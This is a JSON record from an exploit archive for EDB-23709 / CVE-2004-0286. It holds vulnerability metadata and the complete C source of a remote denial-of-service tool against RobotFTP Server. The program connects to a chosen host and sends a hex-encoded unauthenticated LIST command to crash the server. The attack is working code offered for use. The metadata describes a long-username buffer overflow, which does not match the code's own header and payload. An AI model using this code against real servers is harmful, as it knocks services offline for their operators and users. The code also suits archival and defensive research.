{"exploit":{"id":"EDB-23709","name":"RobotFTP Server 1.0/2.0 - 'Username' Buffer Overflow (2)","description":"RobotFTP Server 1.0/2.0 - 'Username' Buffer Overflow (2)","cves":["CVE-2004-0286"],"author":"NoRpiuS","published":"2004-02-16","platform":"windows","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/23709","path":"exploits/windows/dos/23709.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-23709.c","vulnerabilities":[{"id":"CVE-2004-0286","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in RobotFTP 1.0 and 2.0 beta 1 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long username.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-0286","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-0286"},"updatedAt":"2024-08-08T00:10:03.937Z","retrievedAt":"2026-11-27T13:07:10.051Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-23709.png?v=2","url":"https://exploitbin.com/exploits/EDB-23709","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-23709/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-23709/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2004/https://www.securityfocus.com/bid/9672/info\n\nA vulnerability has been reported for RobotFTP Server. The problem likely occurs due to insufficient bounds checking when processing 'USER' command arguments of excessive length.\n\n/*************************************************************************************************\n*                                                                                                *\n* Date: 18/2/2004                                                                                *\n* Url: www.robotftp.com                                                                          *\n* Versions: 1.0/2.0                                                                              *\n* Bug: Robotftp gets DoS'sed when an unauthorized user tries to do some command like MKD or LIST *\n* Author: NoRpiUs                                                                                *\n* Email: norpius@altervista.org                                                                  *\n* Web: http://norpius.altervista.org                                                             *\n* For Unix & Win                                                                                 *\n*                                                                                                *\n* I have done this for my birthday that is today :) - Robo-SOFT don't be angry :)                *\n**************************************************************************************************/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#ifdef WIN32\n    #include <winsock.h>\n    #include <windows.h>\n    #define close closesocket\n#else\n    #include <sys/socket.h>\n    #include <sys/types.h>\n    #include <arpa/inet.h>\n    #include <netdb.h>\n#endif\n#define DOSREQUEST \"\\x4C\\x49\\x53\\x54\\r\\n\"\n\nvoid errore( char *err )\n{\n\tprintf(\"%s\",err);\n\texit(1);\n}\n\nvoid usage( char *progz )\n{\n\tfputs(\"Robotftp FTP Server remote DoS\\n\"\n\t      \"By NoRpiUs\\n\"\n\t      \"Usage: <host> <port>\\n\", stdout);\n\texit(1);\n}\n\nint main( int argc, char *argv[] )\n{\n\tint sock;\n\tstruct hostent *he;\n\tstruct sockaddr_in target;\n\tchar recvbuff[512];\n\n#ifdef WIN32\n    WSADATA wsadata;\n    WSAStartup(0x1, &wsadata);\n#endif\n\n\tif ( argc < 3 ) usage(argv[0]);\n\n\tif ( (he = gethostbyname(argv[1])) == NULL )\n\t\terrore(\"Can't resolve host\");\n\n\ttarget.sin_family = AF_INET;\n\ttarget.sin_addr   = *(( struct in_addr *) he -> h_addr );\n\ttarget.sin_port   = htons(atoi(argv[2]));\n\n\tfputs(\"[+] Connecting...\\n\", stdout);\n\n\tif ( (sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP )) < 0)\n\t\terrore(\"[-] Can't create socket\\n\");\n\n\tif ( connect(sock, (struct sockaddr *) &target, sizeof(target)) < 0 )\n\t\terrore(\"[-] Can't connect\\n\");\n\n\tif ( recv( sock, recvbuff, sizeof(recvbuff), 0) < 0 )\n\t\terrore(\"[-] Server seems to be down\\n\");\n\n\tfputs(\"[+] Sending DoS request\\n\", stdout);\n\n\tif ( send( sock, DOSREQUEST, strlen(DOSREQUEST), 0) < 0 )\n\t\terrore(\"[-] Cant' send the request\\n\");\n\n\tfputs(\"[+] Done\\n\", stdout);\n\n\tclose(sock);\n\n\treturn(0);\n\n}","sha256":"3cc034da31eff4a0b3d898018e035071dca6d0f31761d6248a9c44fac562a010","bytes":3091,"fetchedAt":"2026-11-27T13:07:05.844Z","encoding":"utf-8 (display only; download retains original bytes)"}